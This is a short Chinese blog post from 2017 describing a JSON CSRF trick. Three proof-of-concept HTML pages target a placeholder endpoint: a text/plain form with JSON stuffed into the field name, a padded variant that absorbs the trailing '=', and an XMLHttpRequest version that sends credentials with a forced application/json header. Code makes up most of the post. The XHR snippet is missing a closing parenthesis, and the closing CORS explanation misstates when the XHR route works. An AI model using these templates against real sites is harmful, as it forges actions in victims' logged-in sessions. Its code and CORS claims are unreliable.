json csrf一个技巧

Posted by bfpiaoran on August 27, 2017

好久之前看到的 于是乎收藏了下 只是略有些印象,然后前几天挖洞的时候遇到一个这样的漏洞,翻过去找找不到~~~~~~~~~

要克服懒惰的毛病啊 保存保存保存~~~~~~~
json格式的csrf
用form来提交,poc如下,把name置为一段JSON,其value置为空:

<html>
   <body>
    <form action="http://www.xxx.com/webnet/edit" method="POST" enctype="text/plain">
      <input type="hidden" name="{"pSpotId":"120201","pSignTimes":"70","pModuleID":"207","pSceneid":"120201007000046"}" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

 

不过这样POST的数据包会多一个“=”,因为我们虽然把value置为空,然后还是会出现“name=”。
我们可以给value赋值从而对这个“=”后面的数据进行补全,使得其构成一个完整的JSON格式,可避免解析器报错(JSON Padding

<html>  
<form action="http://www.xxx.com/webnet/edit" method="POST" enctype="text/plain">  
<input name='{"pSpotId":"120201","pSignTimes":"70","pModuleID":"207","pSceneid":"120201007000046", "test":"' value='test"}'type='hidden'>  
<input type=submit>  
</form>  
</html> 

需要注意的是,在原始的数据包里Content-Type的值是application/json,而以form去提交是没法设置enctype为application/json的,在这里设置为text/plain,那么如何设置Content-Type的值呢?

所以我们需要利用XHR进行提交

https://en.wikipedia.org/wiki/XMLHttpRequest

<html>
  <body>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http://www.xxx.com/webnet/edit", true);
        xhr.setRequestHeader("Accept", "*/*");
        xhr.setRequestHeader("Accept-Language", "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3");
        xhr.setRequestHeader("Content-Type", "application/json; charset=utf-8");
        xhr.withCredentials = true;
        xhr.send(JSON.stringify({"pSpotId":"120201","pSignTimes":"70","pModuleID":"207","pSceneid":"120201007000046"});
    }
    </script>
    <form action="#">
      <input type="button" value="Submit request" onclick="submitRequest();"/>
    </form>
  </body>
</html>

在CORS标准中,定义了新的HTTP消息头Access-Control-Allow-Origin,使得服务端可以定义允许通过浏览器请求的域集合。另外,标准定义了当跨域影响用户数据HTTP请求(如用XMLHttpRequest发送post)时,浏览器会发送预检请求(OPTIONS请求)给服务端征求支持的请求方法,然后根据服务端响应允许才发送真正的请求。

在某些情况中,如果服务端对Content-Type进行校验,则不会响应这个OPTIONS请求,从而利用失败,但是更多的情况下服务端可能不会校验Content-Type,或者不会严格校验Content-Type是否为application/json,所以很多情况下这是可用的。